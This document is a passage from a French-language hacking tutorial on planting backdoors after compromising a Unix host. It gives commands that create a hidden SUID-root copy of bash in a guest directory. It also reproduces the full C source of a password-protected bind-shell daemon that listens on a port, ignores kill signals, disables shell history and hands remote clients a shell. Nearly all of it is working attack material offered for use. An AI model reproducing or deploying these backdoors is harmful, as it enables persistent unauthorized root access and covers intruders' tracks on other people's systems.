8°/ CREATION D UNE BACKDOOR
Supposons que vous vous etes infiltre dans un systeme par l'intermediaire d'un
cheval de Troie ou d'un autre programme,mais la breche dans la securite
initiale risque d'etre refermee Comment penetrer à nouveau dans le systeme ?
Soit vous re=ouvrez une breche plus tard soit vous laissez une backdoor
(porte de derriere pour les anglophobes),
programme creant un nouveau point d'acces dans l'hote.
Une backdoor peut correspondre à un compte utilisateur,un processus ou un port
ouvert sur un programme joint.Par exemple dès que vous avez un acces root sur
un hote (en vous servant des techniques citees plus haut par exepmle)vous
pouvez creer un script qui execute un shell en tant que root pour vous donner
acces de nouveau en tant que root.(vous me suivez toujours?).Il faut d'abord
copier son shell prefere vers un repertoire utilisateur (compte hote par
exemple) et le renomme en -backdoor.Vous creez ainsi un fichier cache que vous
pouvez utiliser a tout instant.Voici un exemple de fichier :
# cp -/bin/bash /home/guest
# mv /home/guest/bash home/guest/.backdoor
Saisissez l'acces SUID au fichier et le controle de root :
# chmod 4755 home/guest/.backdoor
# chown root home/guest/.backdoor
L'execution de la commande .backdoor permettra d'acceder au systeme quand vous
le voudrez...
Une version plus evoluee de backdoor : vanilla.c
<----Coupez ici------>
/* Vanilla shell daemon with passwort authentification
* verbose explanation / sample of a shell daemon
* members.xoom.com/i0wnu (c) 1999 by Mixter */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>
int
main (int a, char **b)
{
int c, d, e = sizeof (struct sockaddr_in), f;
// c will be our listening socket, d our new socket
char p[20];
struct sockaddr_in l, r;
l.sin_family = AF_INET; // we fill this with our local ip/port
l.sin_port = htons (5); // listen to port 5
l.sin_addr.s_addr = INADDR_ANY; // our IP (filled in by kernel)
bzero (&(l.sin_zero), 8);
c = socket (AF_INET, SOCK_STREAM, 0); // listening socket
signal (SIGCHLD, SIG_IGN); // ignore signals, optional
signal (SIGHUP, SIG_IGN);
signal (SIGTERM, SIG_IGN);
signal (SIGINT, SIG_IGN);
bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr)); // bind to port
listen (c, 3); // listen to port, maximum 3 active connections
while ((d = accept (c, (struct sockaddr *) &r, &e)))
// accept blocks and waits for a connection attempt
// then assigns the client connection to socket d
{
if (!fork ())
// if fork is 0, this is the child process and we
// will process the clients input
{
recv (d, p, 19, 0); // wait for up to 19 chars from the client
// assign them to p (password variable)
for (f = 0; f < strlen (p); f++) // this replaces trailing garbage
{
if (p[f] == '\n' || p[f] == '\r')
p[f] = '\0';
}
if (strcmp (p, "test") != 0) // if password isnt "test"
{
send (d, "\377\373\001", 4, 0); // send an evil telnet cmd :)
close (d); // wrong password - bye
exit (1);
}
close (0); // we close the old stdin/out/err copied
close (1); // by the fork() and create new ones
close (2);
dup2 (d, 0); // these give us the new descriptors
dup2 (d, 1); // we need them for user interaction
dup2 (d, 2);
setenv ("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
unsetenv ("HISTFILE");
execlp ("w", "w", (char *) 0);
// set some environment stuff, display logged in users, optional
execlp ("sh", "sh", (char *) 0); // execute the shell
close (d);
exit (0);
} // end of if(!fork()) loop (child process specific code)
} // end of while() loop
return (0);
}
<----Coupez ici---->
Asmodeus